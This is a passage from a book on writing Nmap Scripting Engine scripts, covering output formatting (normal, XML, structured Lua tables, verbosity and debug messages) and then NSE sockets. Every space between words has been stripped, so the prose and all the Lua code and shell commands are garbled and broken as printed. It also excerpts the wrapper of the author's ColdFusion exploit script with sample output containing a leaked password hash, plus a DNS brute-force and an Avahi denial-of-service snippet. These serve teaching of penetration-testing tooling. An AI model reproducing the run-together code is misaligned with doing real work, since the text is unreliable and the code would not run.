ThenextchapterintroducesoutputformattinginNSE.YouwilllearnabouttheoutputmodessupportedbyNmapandtheiradvantagesanddrawbacksinNSE.Itistimewelearnedsomegoodpracticesonhowtoformatourscript’soutput.
Chapter7.FormattingtheScriptOutputFormattingourNmapScriptingEngine(NSE)scripts’outputcorrectlyisimportantbecauseitprovidesgreaterflexibilitytoanyoneworkingwiththem,specificallywhenreadingorparsingresults.Thischaptercoverstheusageofthesupportedoutputmodeandattemptstooutlinegoodpracticesregardingreportingdatabacktotheusers.
Inversion6.20BETA1,anewfeaturewasintroducedtoprovidegreaterflexibilitybyallowingNSEscriptstoreturnstructureddatainXMLformat.Beforethat,usersneededtoparsetheresultsfromastringstoredinthefile,whilethenewsystemallowsuserstonavigatethroughawell-organizedXMLfile.Wewillexplorethedifferentwaysofproducingthisstructuredoutput.
Besidesthenewstructuredoutputscheme,thischapterwilltalkabouttheroleoftheNmapAPIandstdnselibrarywhenformattingourscripts’outputandprintingdebuggingcallsorverbosemessages.Inthischapter,wewillcoverthefollowingtopics:
AnoverviewofoutputformatssupportedbyNmapStructuredoutputinXMLmodeFormattingverbosemessagesandhandlingthedifferentverbositylevelsFormattingdebugmessagesandhandlingthedifferentdebugginglevelsWorkingwithXMLfilesfromthecommandlineStrengthsandweaknessesofthedifferentoutputformats
Finally,rememberthatyoumayencounterseveralscriptsthatstilldon’tsupportstructuredoutput.Feelfreetoupdatethemandsendyourcontributiontothedevelopmentmailinglist.Yourhelpwillbemuchappreciated.
OutputformatsandNmapScriptingEngineLet’squicklyrecaphowNmapformatstheoutputofascan.IfwerunthedefaultNSEcategory(-sC)againstthescanme.nmap.orghost,wegetthefollowingoutput:
nmap-n-Pn-p80-sCscanme.nmap.org
PORTSTATESERVICE
80/tcpopenhttp
|_http-title:GoaheadandScanMe!
Bydefault,Nmapreturnsthenormaloutputifnooptionisgiven.Theavailableoutputoptionsare:
Normaloutput(-oN)XMLoutput(-oX)Grepableoutput(-oG)Scriptkiddie(-oS)
TipThe-oA<basename>argumentsavestheoutputinnormal,XML,andgrepableformats.Ipersonallyusethisoptionallthetime.Let’ssaywewanttoscanport80withNSEandsavetheresultsinallformats.Wewoulduseacommandsimilartothefollowing:
$nmap-p80-sC-oAscanme.nmap.orgscanme.nmap.org
Whenthescaniscomplete,newfileswillbegeneratedinyourcurrentdirectory:
scanme.nmap.org.gnmap
scanme.nmap.org.nmap
scanme.nmap.org.xml
Thesefilescorrespondtotheresultsofthescaningrepable,normal,andXMLformats.Nowyoumaychoosetheformatbestfittedforthetask.Forexample,normaloutputmightbeeasyatfirstsightbutyouwillcertainlyneedthatXMLfiletoimporttheresultstoyourfavoritevulnerabilityscanner.
Nowlet’sseehowtheXMLoutputofthatsamescanlooks:
$nmap-p80-sCscanme.nmap.org-oX
<?xmlversion="1.0"?>
<!DOCTYPEnmaprunPUBLIC"-//IDNnmap.org//DTDNmapXML1.04//EN"
"https://svn.nmap.org/nmap/docs/nmap.dtd">
<?xml-stylesheethref="file:///usr/local/bin/../share/nmap/nmap.xsl"
type="text/xsl"?>
<!--Nmap6.46scaninitiated<date>as:nmap-p80-sC-oX-
scanme.nmap.org-->
<nmaprunscanner="nmap"args="nmap-p80-sC-oX-scanme.nmap.org"start="
<starttimestampunixformat>"startstr="<date>"version="6.46"
xmloutputversion="1.04">
<scaninfotype="syn"protocol="tcp"numservices="1"services="80"/>
<verboselevel="0"/>
<debugginglevel="0"/>
<hoststarttime="<starttimestampunixformat>"endtime="<endtimestamp
unixformat>"><statusstate="up"reason="reset"reason_ttl="128"/>
<addressaddr="74.207.244.221"addrtype="ipv4"/>
<hostnames>
<hostnamename="scanme.nmap.org"type="user"/>
<hostnamename="scanme.nmap.org"type="PTR"/>
</hostnames>
<ports><portprotocol="tcp"portid="80"><statestate="open"reason="syn-
ack"reason_ttl="128"/><servicename="http"method="table"conf="3"/>
<scriptid="http-title"output="GoaheadandScanMe!"><elemkey="title">Go
aheadandScanMe!</elem>
</script></port>
</ports>
<timessrtt="24648"rttvar="44746"to="203632"/>
</host>
<runstats><finishedtime="<endtimestampunixformat>"timestr="<date>"
elapsed="2.69"summary="Nmapdoneat<date>;1IPaddress(1hostup)
scannedin2.69seconds"exit="success"/><hostsup="1"down="0"total="1"/>
</runstats>
</nmaprun>
IfwecomparetheamountofinformationdisplayedinnormalandXMLoutputs,youwillrealizethattheonlydifferenceisthereasonfield,whichexplainswhythehostwasmarkedasonlineandtheservicewasmarkedasopened.Bothfilesshouldcontainthesameinformation.However,ifweplantoaccesstheinformationprogrammatically,itiseasiertoworkwiththeXMLfilesincenearlyeveryprogramminglanguageprovidesrobustXMLparsingcapabilities.
NoteUsethe-charactertoredirecttheoutputtostdout:
$nmap-oX-scanme.nmap.org
Nowlet’spayattentiontowhatthescripttagelementlookslike:
<scriptid="http-title"output="GoaheadandScanMe!"><elemkey="title">Go
aheadandScanMe!</elem>
</script>
NSEscriptswrittenbeforetheXMLstructuredoutputfollowedthisformat:
<scriptid="<scriptname>"output="<scriptoutput>"></script>
StuffingtheoutputinsideasingletagcouldleadtoXMLfilesthatarehardtoreadandsometimesevendifficulttoparse.Thefollowingsnippetisaneditedversionoftheoutputofthehttp-vhostsscriptagainstscanme.nmap.org:
<scriptid="http-vhosts"output="amp;#xa;ns.nmap.org:
200amp;#xa;dhcp.nmap.org:200amp;#xa;appserver.nmap.org:
200amp;#xa;devel.nmap.org:200amp;#xa;stats.nmap.org:
200amp;#xa;help.nmap.org:200amp;#xa;app.nmap.org:200amp;#xa;
news.nmap.org:200"/>
Intheprecedingsnippet,wecanseethattheoutputfollowsthe<domain>:<status>&#xaformat,whichwon’tbetoohardtoworkwith.Nowlet’sseehowtheoutputofascriptthatusesthevulnlibrarytoreportvulnerabilitiescanbetrickiertoparse:
<scriptid="bmc-supermicro-conf"output="amp;#xa;VULNERABLE:amp;#xa;
SupermicroBMCconfigurationfiledisclosureamp;#xa;State:VULNERABLE
(Exploitable)amp;#xa;Description:amp;#xa;SomeSupermicroBMC
productsarevulnerabletoanauthenticationbypassvulnerabilitythat
allowsattackerstodownloadamp;#xa;aconfigurationfilecontaining
plaintextusercredentials.Thiscredentialsmaybeusedtologintothe
administrativeinterfaceandtheamp;#xa;network'sActive
Directory.amp;#xa;Disclosuredate:2014-06-19amp;#xa;Extra
information:amp;#xa;Snippetfromconfigurationfile:amp;#xa;
.............admin…............................\x01\x01\x01.\x01…...\x01ADM
IN…........Mpp$$!!009…........T.T….........\x01
\x01\x01.\x01….......................................................amp;#x
a;Configurationfilesavedto
'xxx.xxx.xxx.xxx_bmc.conf'amp;#xa;amp;#xa;
References:amp;#xa;http://blog.cari.net/carisirt-yet-another-bmc-
vulnerability-and-some-added-extras/amp;#xa;"/>
Toovercomethisproblem,anewfeaturewasintroducedinversion6.20BETA1—structuredXMLoutput.NSEdeveloperscannoweasilymaketheirscriptsreturndataorganizedinahierarchicalstructure,asshowninthepreviousexampleofthehttp-titlescript:
<scriptid="http-title"output="GoaheadandScanMe!"><elemkey="title">Go
aheadandScanMe!</elem>
</script>
XMLstructuredoutputTheobjectiveoftheXMLstructuredoutputistoreturndatatousersinstructuresthatareeasiertoparsethanthebloboftextreturnedbytheolderscripts.ThebestpartisthatwecantakeadvantageofthisfeaturetransparentlyinourscriptsusingthestandardfunctionsprovidedbytheNmapAPIandthestdnselibrary.IfyouareconsideringsendingyourNSEscripttogetitincludedwithofficialNmapreleases,Ihighlyrecommendmakingyourscriptssupportthestructuredoutput.
NoteTheofficialdocumentationofthestdnseandnmaplibrariescanbefoundhere:
http://nmap.org/nsedoc/lib/stdnse.htmlhttp://nmap.org/nsedoc/lib/nmap.html
ImplementingstructuredoutputinyourscriptsLuatablesareperfectdatastructurestorepresentoutput,sotheyweretheobviouschoicetobeusedasreturnvaluesbyNSE.NSEscriptscanimplementstructuredoutputbyreturningoneofthefollowingvalues:
ALuatableALuatableandastringALuatablewitha__tostring()metamethod
ThesimplestwayofimplementingastructuredoutputisbyreturningaLuatablethatNSEwillautomaticallytransformintotherespectiveformat—thatis,astringrepresentationoranXMLfilefornormal(-oN)andXMLoutputmode(-oX),respectively.
Let’sjumpintosomecodetoseehoweasyitcanbetomakeyourscriptssupportstructuredoutput.Iwrotethehttp-coldfusion-subzeroscript,whichexploitstheinfamousColdFusionvulnerabilitytogainaccesstoLinode(andseveralhigh-profileclientshostedwiththem,includingtheNmapproject),whichistermedbyAdobeasAPSB13-13(http://www.adobe.com/support/security/bulletins/apsb13-13.html).Let’sdissectthemaincodeblock:
action=function(host,port)
localoutput_tab=stdnse.output_table()
localbasepath=stdnse.get_script_args(SCRIPT_NAME..".basepath")or"/"
localinstallation_path=get_installation_path(host,port,basepath)
localversion_num=get_version(host,port,basepath)
localstatus,file=exploit(host,port,basepath)
ifstatusthen
ifversion_numthen
output_tab.version=version_num
end
ifinstallation_paththen
output_tab.installation_path=url.unescape(installation_path)
end
output_tab.password_properties=file
else
returnnil
end
returnoutput_tab
end
Thefirstlineisacalltotheoutput_table()functionofthestdnselibrary:
localoutput_tab=stdnse.output_table()
ThepurposeoftheaforementionedfunctionistocreateaLuatablethatmaintainstheorderinwhichtheelementsareinsertedtoconstructanoutputtable.ThisoutputtableisreturnedbyscriptsandinterpretedbyNSEtodisplaytheoutputaccordingtothespecifiedformat.Thenextlinessimplyreaduserargumentsandcallthefunctionsinchargeof
detectionandexploitationofthevulnerability:
localbasepath=stdnse.get_script_args(SCRIPT_NAME..".basepath")or"/"
localinstallation_path=get_installation_path(host,port,basepath)
localversion_num=get_version(host,port,basepath)
localstatus,file=exploit(host,port,basepath)
Nowlet’stakeacloserlookatthenextblockofcodeandtheassignmentsmadetoouroutput_tabvariable:
ifstatusthen
ifversion_numthen
output_tab.version=version_num
end
ifinstallation_paththen
output_tab.installation_path=url.unescape(installation_path)
end
output_tab.password_properties=file
else
returnnil
end
Thevariableassignmentsperformedinthepreviousblockwereasfollows:
output_tab.version=version_num
output_tab.installation_path=url.unescape(installation_path)
output_tab.password_properties=file
Asyoucansee,theseassignmentsweremadetonon-existingfields,andthisisacceptableinLua.Eachfieldnameisactuallyusedtoconstructtheoutputtableaswell.Andattheendofthescriptexecution,wemustsimplyreturnthistabletoletNSEtransformitintothecorrectoutputformat.
Inthiscase,thenormaloutputofthescriptlookslikethis:
PORTSTATESERVICEREASON
80/tcpopenhttpsyn-ack
http-coldfusion-subzero:
installation_path:C:\inetpub\wwwroot\CFIDE\adminapi\customtags
version:9
password_properties:#FriMar0217:03:01CST2012
rdspassword=
password=AA251FD567358F16B7DE3F3B22DE8193A7517CD0
encrypted=true
TheoutputgeneratedinXMLmodewilllooklikethefollowing:
<elemkey="installation_path">
C:\inetpub\wwwroot\CFIDE\adminapi\customtags</elem>
<elemkey="version">9</elem>
<elemkey="password_properties">#FriMar0217:03:01CST
2012amp;#xd;amp;#xa;rdspassword=amp;#xd;amp;#xa;password=AA251FD567358F16B7
DE3F3B22DE8193A7517CD0amp;#xd;amp;#xa;encrypted=trueamp;#xd;amp;#xa;</elem>
Whilethismethodworksgreatforscriptsthatreturnafewlines,wemayneedtodisplay
moreinformationinoneformatthaninanother.Forthoseoccasions,wewillmakeourNSEscriptsreturnatableandastring.ThetablewillbeusedtogeneratetheXMLoutputandthestringfornormalmode.Let’sexamineanimplementationofthisfeature.
Thefollowingisasnippetfromthehttp-titlescript,specificallyfromtheendofthescriptwheretheoutputisformattedandreturned:
localoutput_tab=stdnse.output_table()
output_tab.title=title
output_tab.redirect_url=redirect_url
localoutput_str=display_title
ifredirect_urlthen
output_str=output_str.."\n"..("Requestedresourcewas
%s"):format(redirect_url)
end
returnoutput_tab,output_str
Noteinthepreviouscodeblockhowwearereturningtwovalues:anoutputtableandanoutputstring.TheadditionalfieldonlygetscreatedwhenaredirectionURLisfound,sowewillgrabthetitleofWikipedia,whichdoeshavearedirect,toseetheoutputdifferences:
$nmap-p80--scripthttp-titlewikipedia.org
Theoutputoftheprecedingcommandisasfollows:
PORTSTATESERVICE
80/tcpopenhttp
|http-title:Wikipedia
|_Requestedresourcewashttp://www.wikipedia.org/
TheXMLoutputforthesamecommandisasfollows:
$nmap-p80--scripthttp-title-oX-wikipedia.org
<elemkey="title">Wikipedia</elem>
<elemkey="redirect_url">http://www.wikipedia.org/</elem>
Itisimportantthatbothoutputmodescontainthesameinformation.However,itisacceptabletobemoreverboseandexplainthescriptresultsmoreinnormalmode(-oN),asintheexampleshownpreviously.
Finally,let’susesomeofthepowerofLuatosetamethamethodforthe__tostring()functiontoenhancetableoutputformatting.Thisadvancedusageofmetatablesissuitableforoccasionswhenweworkwithnestedtablesandtheautogeneratedtabindentationisnotgoodenough.
Metamethodsaredefinedusingsetmetatable(),whichsetsthetablewiththeoverloaded__tostring()methodasthemetatableoftheobject:
localr={ip=ip_addr}
setmetatable(r,{__tostring=function(t)returnstring.format("TheIP
addressis:%s",t.ip)}
Let’sgothroughoneexampleofthisimplementation.Thedns-brutescriptusesmetamethodstoformattheoutputofthehostinformation.Thefollowingcodesnippetbelongstothethread_main()function:
localfunctionthread_main(domainname,results,name_iter)
localcondvar=nmap.condvar(results)
fornameinname_iterdo
for_,dtypeinipairs({"A","AAAA"})do
localres=resolve(name..'.'..domainname,dtype)
if(res)then
for_,addrinipairs(res)do
localhostn=name..'.'..domainname
iftarget.ALLOW_NEW_TARGETSthen
stdnse.print_debug("Addedtarget:"..hostn)
localstatus,err=target.add(hostn)
end
stdnse.print_debug("Hostname:"..hostn.."IP:"..addr)
localrecord={hostname=hostn,address=addr}
setmetatable(record,{
__tostring=function(t)
returnstring.format("%s-%s",t.hostname,t.address)
end
})
results[#results+1]=record
end
end
end
end
condvar("signal")
end
Intheprecedingcodeblock,wecanseethattheimplementationisnotascomplicatedasitfirstseemedtobe.Thefirstlinedefinesthetablestructure,andthenwemustcallthesetmetatablefunctiontooverloadthe__tostring()function:
localrecord={hostname=hostn,address=addr}
setmetatable(record,{
__tostring=function(t)
returnstring.format("%s-%s",t.hostname,t.address)
end
})
results[#results+1]=record
Additionally,wecouldtakeadvantageofthistoimplementsomesafechecksinourtables,suchasanemptycheck:
localresponse=stdnse.output_table()
if(#results==0)then
setmetatable(results,{__tostring=function(t)return"Noresults."
end})
end
response["DNSBrute-forcehostnames"]=results
if(dosrv)then
if(#srvresults==0)then
setmetatable(srvresults,{__tostring=function(t)return"No
results."end})
end
response["SRVresults"]=srvresults
end
returnresponse
Asexpected,theoutputgeneratedinnormalandXMLmodeswillautomaticallybeformattedcorrectly.Theonlythingweneededtodowastoprovideourownformatstringtooverloadthe__tostring()methodinourtableobject.
Thenormaloutputisasfollows:
Hostscriptresults:
|dns-brute:
|DNSBrute-forcehostnames:
|mssql.0xdeadbeefcafe.com–xxx.xxx.xxx.xxx
|helpdesk.0xdeadbeefcafe.com-xxx.xxx.xxx.xxx
|_stage.0xdeadbeefcafe.com-xxx.xxx.xxx.xxx
ThefollowingistheXMLoutput:
<tablekey="DNSBrute-forcehostnames">
<table>
<elemkey="address">xxx.xxx.xxx.xxx</elem>
<elemkey="hostname">mssql.0xdeadbeefcafe.com</elem>
</table>
<table>
<elemkey="address">xxx.xxx.xxx.xxx</elem>
<elemkey="hostname">helpdesk.0xdeadbeefcafe.com</elem>
</table>
<table>
<elemkey="address">xxx.xxx.xxx.xxx</elem>
<elemkey="hostname">stage.0xdeadbeefcafe.com</elem>
</table>
</table>
PrintingverbositymessagesIfyouhatescriptsthatjustseemtostopworkingbecauseofalackofinformationintheoutput,thenyouneedtoincludeverbositymessagesinyourscripts.Thepurposeofthesemessagesistoinformusersofwhatisgoingonbehindthesceneswhileyourscriptdoesitswork.Verbositymessagesshouldbeclearandconcisewhileexplainingtheprogressofthecurrenttask.
Thestdnselibraryofferstheverbose()functiontoprinttheseverbosemessages:
level:Thisisthelevelofverbosityneededtoprintthemessage.Thenumbercanbefrom1to9but,inpractice,mostdevelopersuseuptolevel3only.fmt:Thisoutputsaproperlyformattedmessage.…:Thisisusedtoformatarguments.
Forexample,toprintaverbosemessageonlywhentheverbositylevelishigherthan2,weusethefollowingcode:
localstdnse=require"stdnse"
…
fori,vinpairs(arr)do
stdnse.verbose(2,"ID%d-%s",i,v)
end
Ifyouneedtoobtaintheverbositylevelatruntime,youcouldinvokeNmap’sverbosity()APIfunction:
localnmap=require"nmap"
…
if(nmap.verbosity()>=2)
output_tab.extra_info="Someadditionalinformation"
NoteIftheverbositylevelis2orhigher,stdnse.verbose()willalsoprinttheIPaddressandportinformationifavailable.
IncludingdebugginginformationDebuggingmessagescanbeincludedinNSEscriptsusingthedebug()functionfromthestdnselibrary.Thesemessagesareshownonlywhenthedebugginglevelhasbeensettoavaluehigherthan0:
Debug(level,fmt,…)where
level:Debugginglevel.
fmt:Formatstring.
…:Formatarguments.
Toprintadebugmessagewhenthedebugginglevelis1orhigher,weusethefollowingcode:
stdnse.debug(1,"Task#%dcompleted.",id)
Theideabehindsupportingthisfunctionisthatwecandothingssuchasprintingdifferentlevelsofinformationwithouthavingtowritenestedcode:
stdnse.debug(1,"Response#%dreceived.",i)
stdnse.debug(2,"Responsestatuscode:%d",req.status)
stdnse.debug(3,"Responsebody:",req.body)
ItisimportanttoprovidesomedebugginginformationinallyourNSEscripts.Thishelpspeoplefigureoutwhythingsgowrongandsubmitbugreports.
TipThedebugginglevelofascanissetusingthe-d[1-9]option:
$nmap–d3--scriptmybuggyscript<target>
TheweaknessofthegrepableformatAlotofpeopleloveworkingstraightfromthecommandline,andtheypreferthegrepableoutputformateventhoughitwasdeprecatedmanyyearsago.ThemaindrawbackofusingthegrepableformatisthatNSEdoesnothaveawaytoprovideoutputinthisformat.IfyouneedtoworkwithresultsfromNSE,youneedtosticktonormal(-oN),XML(-oX),oreventhescriptkiddiemode(-oS),sinceitshowsthesameinformationasthenormaloutputmode.
Thenormaloutputisasfollows:
PORTSTATESERVICE
80/tcpopenhttp
|_http-title:GoaheadandScanMe!
Ingrepableoutput(noNSEinformation),itlooksasfollows:
Host:74.207.244.221(scanme.nmap.org) Status:Up
Host:74.207.244.221(scanme.nmap.org) Ports:80/filtered/tcp//http///
NoteForacompletelistofthefieldsreturnedingrepablemode,youcanvisittheofficialdocumentationathttp://nmap.org/book/output-formats-grepable-output.html.
YoucanstillusecommandlineswhenworkinginXMLformatifyouusetoolssuchasxmlstarlettoselectXMLelementsandattributes.Forexample,toselectandprintallelementswiththesmtp-open-relayID,youcanusethiscommand:
$xmlstarletsel-t-m'//script[@id="smtp-open-relay"]'-c.-nwindows-
network.xml
NoteMoreinformationaboutthexpathsyntaxcanbefoundathttp://www.w3.org/TR/xpath/#path-abbrev.
NSEscriptoutputintheHTMLreportAftersavingyourscanresultsintheXMLoutputformat,youcangenerateanHTMLreportwiththehelpofanXSLTprocessor.Thereareseveraloptionsavailablebut,inUNIX,themostpopularoptionisxsltproc.Tousethis,wesimplypasstheXMLscanresultsfileandsettheoutputfilenameasfollows:
$xsltproc<inputxmlfile>-o<outputfile>
$xsltprocb33rcon.xml-ob33rcon.html
NowtheHTMLfilegeneratedcansimplybeopenedwithyourfavoritewebbrowser.Theoutputinthewebbrowserwouldlookasfollows:
TheNSEscriptoutputwillbeincludedunderneathitscorrespondingservice.ItisimportanttonotethattheoutputstoredinthisHTMLfilewastakenfromthenormaloutputstring,andtheHTMLthatcontainsitdoesnothavestructureddata.Ifyouareplanningonparsingresults,IrecommendstickingtotheXMLformat.
Finally,rememberthatyoucanalsomakeNmaplinktotheonlinecopyoftheXSLstylesheetbyaddingthe--webxmloption:
#nmap-F-oXscanme-nmap-org.xml--webxmlscanme.nmap.org
Thehrefstylesheetreferencesthefollowinglink:
<?xml-stylesheethref="https://svn.nmap.org/nmap/docs/nmap.xsl"
type="text/xsl"?>
TipModernwebbrowsersfollowstrictSameOriginPolicy(SOP)restrictionsthatdonotallowXSLstylesheetstobeloadedwhenopeningtheXMLfiledirectly.Forthisreason,itismorepracticaltouseXSLTprocessorstoconverttheXMLresultsintoHTMLfor
viewing.
SummaryInthischapter,youlearnedeverythingthatyouneedtoknowabouthowNSEgeneratesitsoutputandhowtostructureitcorrectlywithinyourscriptstotakefulladvantageofthefeaturesavailable.WereviewedtheavailableoutputformatsinNmaptocovertheirstrengthsandweaknesses.Youshouldnowbeabletoselecttheappropriateoutputformatforanytaskyoumayface.
Finally,don’tforgettheimportanceofverboseanddebuggingmessagesinyourscriptsandkeepingtheinformationdividedintothesmallestchunksofinformationtomakethingseasierforuserswhoparsethoseresults.
Inthenextchapter,wewillseeexamplesofrawpacketcraftingtogetuspreparedtohandleallthosewildcommunicationprotocolsweseeonlineeveryday.PreparetoventureintothedepthsofbinarystringhandlingwithNSE!
Chapter8.WorkingwithNetworkSocketsandBinaryDataMostNSEscriptsneedtocommunicatetootherhoststoreadorwritedata.LuasupportsnativenetworkI/Ooperations,butthereareseveraladvantagestousingtheinterfacesandlibrariesprovidedbytheNmapScriptingEngine(NSE).NSEsocketscanbeprogrammedasblockingornon-blockingI/Ooperations,andtheysupportaconnect-stylemethod(whenaclientopensaconnection,sendsorreceivesdata,andclosestheconnection)andlow-levelrawpackethandlingviaapacketcaptureinterface.
Nsock(http://sock-raw.org/nmap-ncrack/nsock.html)isanNmaplibrarydesignedtohelpdevelopershandleparallelizablenetworkI/Ooperations.Itisusedbytheservicedetectionengine,inDNSoperationsperformedbyNmap,andofcoursebyNSE.NSEdevelopersunknowinglyuseNsockwhenworkingwithNSEsocketsthroughtheNmapAPIlibrary.
Thereareotherveryusefullibrariesthat,whenworkingwithnetworksockets,helpNSEdevelopershandle,parse,andperformoperationsonbinarydata.Forallthepreviouslymentionedfeatures,NSEisarobustframeworktousewhendevelopinganyreconnaissancetool,administrativetool,ornetworkexploit.UsingNSEinsteadofwritingcustomscriptsfromscratchduringpenetrationtestengagementshassavedmecountlesshours,andIhaveendedupwithmoreflexiblescriptsthanoriginallyplanned.IhighlyrecommendthatyounotonlygothroughthissectioncarefullybutalsopracticewritingNSEscriptsthatusethefunctionsdescribedhere.
Inthischapter,youwilllearnhowto:
WorkwithNSEsocketsWorkwithrawsocketsinNSEReadandwritebinarydatatoanetworksocketCraftpacketsattheEthernetandIPlayersManipulaterawpackets
Fireupyourfavoritetrafficanalysistoolandlet’sstarttalkingtootherhostsonthenetwork.
WorkingwithNSEsocketsItishighlyadvisablethatyousticktoNSEsocketsfornetworkI/Ooperationswhencreatingyourownscripts.Thelibrariesinvolvedhavebeenthoroughlytestedandwillworkuniformlyacrossplatforms.NSEsocketsarehandledinternallybytheNsocklibrary,whichoffersadvantagessuchastransparentparallelismbyperformingnon-blockingI/Ooperations.Whenprogrammersdecidetousewhatappeartobeblockingcalls,NSEinthebackgroundsimplyfiresacallbackafteracertaintimesothattheywillneverblockscriptscompletely.
NSEsocketscanbeusedintwodifferentways.Usingaclassicconnectstylesocketwhichopenstheconnection,sendsorreceivesdata,andclosestheconnectionandusingapowerfulLibpcapinterfacetoprocessrawpackets.Ineithercase,NsockisresponsibleforhandlingtheminternallyviathenmapNSElibrary(http://nmap.org/nsedoc/lib/nmap.html).
Finally,don’tforgettousethe--packet-traceNmapoptionwhendevelopingscriptsthatperformnetworkI/O.ItreturnsvaluableinformationwhendebuggingNsockcalls:
#nmap-eeth0--scriptbroadcast-ping--packet-trace
NSOCKINFO[0.0460s]nsi_new2():nsi_new(IOD#1)
NSOCKINFO[0.0460s]nsock_pcap_open():PCAPrequestedondevice'eth0'
withberkeleyfilter'dsthost192.168.132.133andicmp[icmptype]==icmp-
echoreply'(promisc=0snaplen=104to_ms=200)(IOD#1)
NSOCKINFO[0.0460s]nsock_pcap_open():PCAPcreatedsuccessfullyondevice
'eth0'(pcap_desc=5bsd_hack=0to_valid=1l3_offset=14)(IOD#1)
NSOCKINFO[0.0470s]nsock_pcap_read_packet():PcapreadrequestfromIOD
#1EID13
NSOCKINFO[0.0470s]nsock_trace_handler_callback():Callback:READ-PCAP
SUCCESSforEID13
NSOCKINFO[0.0470s]nsock_pcap_read_packet():PcapreadrequestfromIOD
#1EID21
NSOCKINFO[3.0480s]nsock_trace_handler_callback():Callback:READ-PCAP
TIMEOUTforEID21
NSE:>|CLOSE
NSOCKINFO[3.0480s]nsi_delete():nsi_delete(IOD#1)
Pre-scanscriptresults:
|broadcast-ping:
|IP:192.168.132.2MAC:00:50:56:ed:4e:41
|_Use--script-args=newtargetstoaddtheresultsastargets
WARNING:Notargetswerespecified,so0hostsscanned.
Nmapdone:0IPaddresses(0hostsup)scannedin3.05seconds
CreatinganNSEsocketLet’screateourfirstNSEsocket.First,importthenmaplibraryintoyourscriptandtheninitiatetheobjectasfollows:
--nse_sockets_1.nse:OurfirstNSEsocket.
--Loadthelibrary"nmap"
localnmap=require"nmap"
--Mainfunction
action=function(host,port)
localsocket=nmap.new_socket()
end
Thenmap.new_socket()functioncantakethefollowingarguments:
protocol:Thisisthestringdefiningtheprotocol.Thesupportedmethodsaretcp,udp,andssl.af:Thisisthestringdefiningtheaddressfamily.Thesupportedaddressfamiliesareinetandinet6.
Invokingnmap.new_socket()withoutargumentsdefaultstheprotocoltotcpandinetasanaddressfamily.Similarly,tocreateaUDPsocket,wewouldusetheudpstringastheprotocolargument:
localudp_socket=nmap.new_socket("udp")
ConnectingtoahostusingNSEsocketsConnecttothehostbycallingtheconnect()functionofyourNSEsocketobject:
localstatus,error=socket:connect(host,port)
ThefirstreturnvalueisaBooleanrepresentingthestatusoftheoperation.Itisequaltotrueiftheoperationissuccessfulandfalseotherwise.Thesecondvaluewillbenilunlessanerroroccurred,inwhichcaseitwillcontaintheerrorstring.Wecanusethistoperformsomesanitychecksinourscripts.Let’suseourpreviousexample,nse_sockets_1.nse,toillustratetseschecks:
--nse_sockets_1.nse:OurfirstNSEsocket.
--Loadthelibrarynmap
localnmap=require"nmap"
--Mainfunction
action=function(host,port)
localsocket=nmap.new_socket()
localstatus,error=socket:connect(host,port)
if(not(status))then
stdnse.print_debug(1,"Couldn'testablishaconnection.Exiting.")
returnnil
end
end
Alternatively,wecouldhaveusedNSE’serrorhandlingmechanism.SeeChapter4,ExploringtheNmapScriptingEngineAPIandLibraries,tolearnhowtoimplementexceptionhandlinginyournetworkI/Otasks.
Theconnect()functioncanreturnthefollowingerrorstringscorrespondingtoerrorcodesreturnedbyNSEandtheCfunction,gai_sterror():
Sorry,youdon'thaveOpenSSL
Invalidconnectionmethod
Addressfamilyforhostnamenotsupported(EAI_ADDRFAMILY)Temporaryfailureinnameresolution(EAI_AGAIN)Badvalueforai_flags(EAI_BADFLAGS)Non-recoverablefailureinnameresolution(EAI_FAIL)ai_familynotsupported(EAI_FAMILY)Memoryallocationfailure(EAI_MEMORY)Noaddressassociatedwithhostname(EAI_NODATA)Nameorservicenotknown(EAI_NONAME)Servnamenotsupportedforai_socktype(EAI_SERVICE)ai_socktypenotsupported(EAI_SOCKTYPE)Systemerror(EAI_SYSTEM)
NoteMoreinformationabouttheerrorsreturnedcanbefoundatthemainpageofthe
gai_strerrorfunction:
$mangai_strerror
SendingdatausingNSEsocketsNSEsocketobjectssupportthesend()functiontotransmitdataoveranestablishedconnection.Theonlyargumentofthisfunctionisthedatastringtosend:
status,error=socket:send("HelloNmaper!")
ThefirstreturnvalueisaBooleanthatindicatesthestatusoftheoperation.Iftheoperationfails,thesecondreturnvaluewillcontainanerrorstring.Theerrorstringsthatcanbereturnedare:
Tryingtosendthroughaclosedsocket
TIMEOUT
ERROR
CANCELLED
KILL
EOF
Thenmaplibraryalsooffersawayofsendingdatatoanunconnectedsocketviathesendto()function.Sincethereisnodestinationaddress,weneedtoprovideanaddresswitheachsendto()call:
status,error=socket:sendto(host,port,payload)
Again,thefirstreturnvalueisaBooleanrepresentingtheoperationstatus;iftheoperationfails,thesecondreturnvaluewillbeanerrorstring.Thefollowingcodeisasnippetfromthebroadcast-avahi-dosscript,wherethesendto()functionisusedtotransmitanullUDPpacketoveranunconnectedsocket:
avahi_send_null_udp=function(ip)
localsocket=nmap.new_socket("udp")
localstatus=socket:sendto(ip,5353,"")
…
returnstatus
end
Theerrorstringsreturnedbysendto()arethesameasthosereturnedbysend(),withtheexceptionoftheerrorrelatedtosendingdatathroughaclosedsocket.
ReceivingdatausingNSEsocketsThenmaplibraryhasthereceive(),receive_buf(),receive_bytes(),andreceive_lines()functionstoreceivedatathroughanNSEsocket.Let’sovervieweachofthemsothatyoucanpicktherightfunctionforyourscripts.AllofthesemethodswillreturnaBooleanindicatingtheoperationstatusasthefirstreturnvalue,andthesecondreturnvaluewillbeeitherthedataoranerrorstringiftheoperationfails.
Thereceive()functiondoesnottakeanyarguments,butrememberthatthismethodmustbeperformedonanopensocket:
status,data=socket:receive()
Thereceive_buf()methodisusedtoreaddatauntilthegivendelimiterisfound.Ittakestwoparameters:
delimiter:Theisthepatternorfunctiontomatchkeeppattern:Thisdetermineswhetherthedelimitersshouldbeincludedintheresponsedata
Let’sreaddatafromasocketuntilwefindthe</users>stringdelimiter:
status,response=socket:receive_buf("</users>",true)
Ifweknowthattheresponsewearelookingforhasacertainlength,weshouldusereceive_bytes().Thismethodtakestheminimumnumberofbytestoreadasitsonlyargument:
status,data=socket:receive_bytes(5)
Ifmorebytesarriveortheminimumisnotmet,thedatawillalsobestored.Thereceive_lines()methodworkssimilarly;justgivethenumberofexpectedlinesasthemainparameter.Rememberthatalineisanydatastringdelimitedbythenewlinecharacter(\n):
status,data=socket:receive_lines(3)
ClosingNSEsocketsClosingNSEsocketsisasstraightforwardasclosinganetworksocketinanyotherscriptinglanguage;wesimplyneedtocalltheclose()function.TheadvantageofusingNSE’serrorhandlingmechanismisthatwecaninvokethisfunctioninacatch-stylestatementtoproducescriptsthatareeasiertoread:
